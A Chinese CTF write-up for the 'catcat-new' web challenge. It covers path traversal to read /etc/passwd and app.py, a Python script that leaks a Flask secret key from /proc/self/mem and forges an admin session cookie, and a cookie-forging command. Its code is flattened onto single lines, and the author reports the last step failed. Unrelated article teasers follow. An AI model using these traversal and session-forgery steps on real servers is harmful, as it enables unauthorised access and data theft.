web:catcat-new(文件包含漏洞、flask_session伪造)

前提知识

  • /etc/passwd

该文件储存了该Linux系统中所有用户的一些基本信息,只有root权限才可以修改。其具体格式为      用户名:口令:用户标识号:组标识号:注释性描述:主目录:登录Shell(以冒号作为分隔符)

  • /proc/self

proc是一个伪文件系统,它提供了内核数据结构的接口。内核数据是在程序运行时存储在内部半导体存储器中数据。通过/proc/PID可以访问对应PID的进程内核数据,而/proc/self访问的是当前进程的内核数据。

  • /proc/self/cmdline

该文件包含的内容为当前进程执行的命令行参数。

  • /proc/self/mem

/proc/self/mem是当前进程的内存内容,通过修改该文件相当于直接修改当前进程的内存数据。但是注意该文件不能直接读取,因为文件中存在着一些无法读取的未被映射区域。所以要结合/proc/self/maps中的偏移地址进行读取。通过参数start和end及偏移地址值读取内容。

  • /proc/self/maps

/proc/self/maps包含的内容是当前进程的内存映射关系,可通过读取该文件来得到内存数据映射的地址。

  • flask-session结构

 flask_session是flask框架实现session功能的一个插件。其session结构分为三部分:序列化内容+时间+防篡改值,这三部分内容加密后以符号 “.”来进行分隔。flask_session默认session的储存是在用户Cookie中。但也可以指定存储在数据库,缓存中间件,服务器本地文件等等之中。

题目

打开页面显示如下

图片都可以点开,查看源代码也没有别的线索

dirsearch扫一下,也没有发现其他结果

点击图片跳转的猫的介绍页面

url上使用get请求传递了一个名为file的参数

判断可能有文件包含漏洞。修改参数为file=../../../etc/passwd发现存在漏洞

发现网站语言为python,flask模板注入,读取app.py文件

读取成功

复制上述内容可得

import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import catflag = ""
app = Flask(__name__,static_url_path='/',static_folder='static'
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"  # 此处利用uuid.uuid4()生成了一串id字符串并在后面拼接*abcdefgh
if os.path.isfile("/flag"):  # 导入flag文件并删除掉flag = cat("/flag")os.remove("/flag")@app.route('/', methods=['GET'])
def index():detailtxt = os.listdir('./details/')cats_list = []for i in detailtxt:cats_list.append(i[:i.index('.')])return render_template("index.html", cats_list=cats_list, cat=cat)@app.route('/info', methods=["GET", 'POST'])
def info():filename = "./details/" + request.args.get('file', "")start = request.args.get('start', "0")end = request.args.get('end', "0")name = request.args.get('file', "")[:request.args.get('file', "").index('.')]return render_template("detail.html", catname=name, info=cat(filename, start, end))@app.route('/admin', methods=["GET"])  # 在session信息中admin=1的用户在/admin路径下访问网站可以获得flag,所以要伪造session。
def admin_can_list_root():if session.get('admin') == 1:return flagelse:session['admin'] = 0return "NoNoNo"if __name__ == '__main__':app.run(host='0.0.0.0', debug=False, port=5637)
  1. / 路由:用于返回主页模板 "index.html",其中包含从 ./details/ 目录中获取的文件名列表。

  2. /info 路由:用于返回详情页面模板 "detail.html",其中包含根据传递的参数 filestartend 动态生成的信息。

  3. /admin 路由:如果用户的会话中 admin 键的值为 1,返回 flag;否则,将 admin 键的值设置为 0,并返回 "NoNoNo"。

  4. app.run():启动应用程序,监听在 0.0.0.0 的主机和 5637 端口上。

这段代码还导入了 osuuidflask 模块,并使用了自定义的 cat 函数。在代码中,会生成一个随机的 SECRET_KEY,并将其用作应用程序的配置。

flask_session的伪造需要用到secret_key,而secret_key的值可以通过内存数据获取。先读取/proc/self/maps文件获取可读内容的内存映射地址。

破解脚本

# coding=utf-8# ----------------------------------#################################### Edited by lx56@blog.lxscloud.top#################################### ----------------------------------import requestsimport reimport ast, sysfrom abc import ABCfrom flask.sessions import SecureCookieSessionInterfaceurl = "http://61.147.171.105:65303/"# 此程序只能运行于Python3以上if sys.version_info[0] < 3:  # < 3.0raise Exception('Must be using at least Python 3')# ----------------session 伪造,单独用也可以考虑这个库: https://github.com/noraj/flask-session-cookie-manager ----------------class MockApp(object):def __init__(self, secret_key):self.secret_key = secret_keyclass FSCM(ABC):def encode(secret_key, session_cookie_structure):# Encode a Flask session cookietry:app = MockApp(secret_key)session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.dumps(session_cookie_structure)except Exception as e:return "[Encoding error] {}".format(e)raise e# 由/proc/self/maps获取可读写的内存地址,再根据这些地址读取/proc/self/mem来获取secret keys_key = ""bypass = "../.."# 请求file路由进行读取map_list = requests.get(url + f"info?file={bypass}/proc/self/maps")map_list = map_list.text.split("\\n")for i in map_list:# 匹配指定格式的地址map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)if map_addr:start = int(map_addr.group(1), 16)end = int(map_addr.group(2), 16)print("Found rw addr:", start, "-", end)# 设置起始和结束位置并读取/proc/self/memres = requests.get(f"{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}")# 用到了之前特定的SECRET_KEY格式。如果发现*abcdefgh存在其中,说明成功泄露secretkeyif "*abcdefgh" in res.text:# 正则匹配,本题secret key格式为32个小写字母或数字,再加上*abcdefghsecret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)if secret_key:print("Secret Key:", secret_key[0])s_key = secret_key[0]break# 设置session中admin的值为1data = '{"admin":1}'# 伪造sessionheaders = {"Cookie": "session=" + FSCM.encode(s_key, data)}# 请求admin路由try:flag = requests.get(url + "admin", headers=headers)print("Flag is", flag.text)except:print("Something error")

得到secret-key

session在访问/admin路径时的cookie中,访问http://61.147.171.105:54442/admin

抓包得到session

 利用工具flask_session_cookie_manager伪造session

python flask_session_cookie_manager3.py encode -s "dd2f770c1e2f4576af5bc1a6c7628ad4*abcdefgh" -t "{'admin':1}"

得到伪造的session,用bp修改session

但这里修改session传参之后还是只能得到nonono的内容,可能session错误,但是还没有找到原因。。。

参考文章内容

XCTF-Web-catcat-new-CSDN博客

https://www.cnblogs.com/niyani/p/17074125.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/236705.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

数据结构-03-栈

1-栈的结构和特点 先进后出&#xff0c;后进先出 是栈的特点&#xff1b; 从图中&#xff0c;我们看到A入栈先放入底部&#xff0c;然后依次B和C&#xff1b;出栈的顺序依次是C-B-A&#xff1b;这种结构只能在一端操作。所以当某个数据集合只涉及在一端插入和删除数据&#xf…

数据治理的具体应用

数据治理架构 图 13 描述的是公安数据治理框架&#xff0c;平台架构主要包括数据存储、数据计算、数据管理、数据应用这 4 个部分。 (1) 数据存储&#xff1a; 基于分布式的大数据存储平台&#xff0c;具有很强的存储能力和扩张能力&#xff1b; (2) 数据计算&#xff1a; …

小语种翻译重要吗,如何做好小语种翻译

随着全球化不断推进&#xff0c;不同语言之间的交流日益密切&#xff0c;小语种翻译的重要性日益凸显。小语种翻译不仅有助于人们更好地相互理解与沟通&#xff0c;更能促进不同文化之间的交流与融合&#xff0c;做好小语种翻译至关重要。那么&#xff0c;如何做好小语种翻译呢…

mysql mybatis分页查询 大数据量 非常慢

查阅了很多博客和资料&#xff0c;这篇文章以思路为准&#xff0c;详细代码不细说&#xff0c;都是非常简单的方法&#xff0c;一看就明白。具体实现稍微百度一下就能出来。仅供参考。 如题&#xff1a;单表数据已经达到4千万条数据&#xff0c;通过mybatis的分页查询效率非常低…

同为科技(TOWE)品字型服务器自锁防脱扣电源线产品的应用

AC电源延长线&#xff0c;在数据中心机房中经常见到&#xff0c;机柜服务器是一组庞大的管理网络资源的计算机群&#xff0c;需要电源供电才能正常工作&#xff0c;因此&#xff0c;服务器电源线是连接电源分配器和服务器的基本配件。如果我们仔细观察服务器&#xff0c;就会发…

CMD命令切换至D盘

1.使用快捷键winr进入如下所示界面&#xff1a; 2.在框内输入CMD 后点击确定&#xff0c;即可进入如下界面&#xff1b; 3.输入d: 后按下enter即可转换成功&#xff1b; 补充一些CMD命令&#xff1a; 1. appwiz.cpl&#xff1a;程序和功能 2. calc&#xff1a;启动计算器 3.…

极兔快递查询入口,筛选出指定派件员的单号

批量查询极兔快递单号的物流信息&#xff0c;将指定派件员的单号筛选出来。 所需工具&#xff1a; 一个【快递批量查询高手】软件 极兔快递单号若干 操作步骤&#xff1a; 步骤1&#xff1a;运行【快递批量查询高手】软件&#xff0c;并登录 步骤2&#xff1a;点击主界面左上…

SAP BW层级结构小结属性数据源+专家例程实现层级结构增强加载

作者 idan lian 如需转载备注出处 BW信息对象-层级结构 RSH1 维护信息对象层级 这里的文本描述对应T表中的描述&#xff0c;文本数据源加载之后有数据 信息对象层级H表 以上描述都是根据自我理解翻译的&#xff0c;非官方翻译 层级标识&#xff1a;自动生成&#xff0c;其实…

力扣283题 移动零 双指针解法

移动零 给定一个数组 nums&#xff0c;编写一个函数将所有 0 移动到数组的末尾&#xff0c;同时保持非零元素的相对顺序。 请注意 &#xff0c;必须在不复制数组的情况下原地对数组进行操作。 示例 1: 输入: nums [0,1,0,3,12] 输出: [1,3,12,0,0]示例 2: 输入: nums [0] 输出…

STC15-串口通信打印输出数据printf函数与sprintf函数

STC15-串口通信打印输出数据printf函数与sprintf函数 1.打印输出数据有二种printf函数与sprintf函数&#xff0c;不同之处有&#xff1a;&#xff08;1&#xff09;函数的声明不同&#xff08;2&#xff09;函数的功能不同&#xff08;3&#xff09;用法举例 该问题引用百度知道…

【JavaScript】3.2 JavaScript性能优化

文章目录 1. 避免全局查找2. 避免不必要的属性查找3. 使用快速的JavaScript方法4. 避免不必要的DOM操作5. 使用Web Workers进行后台处理总结 性能优化是任何编程语言的重要组成部分&#xff0c;JavaScript也不例外。在这个章节中&#xff0c;我们将探讨如何优化JavaScript代码&…

万字解析设计模式之策略模式、命令模式

一、策略模式 1.1概述 先看下面的图片&#xff0c;我们去旅游选择出行模式有很多种&#xff0c;可以骑自行车、可以坐汽车、可以坐火车、可以坐飞机。 策略模式&#xff08;Strategy Pattern&#xff09;是一个行为型设计模式&#xff0c;它定义了一组算法家族&#xff0c;分…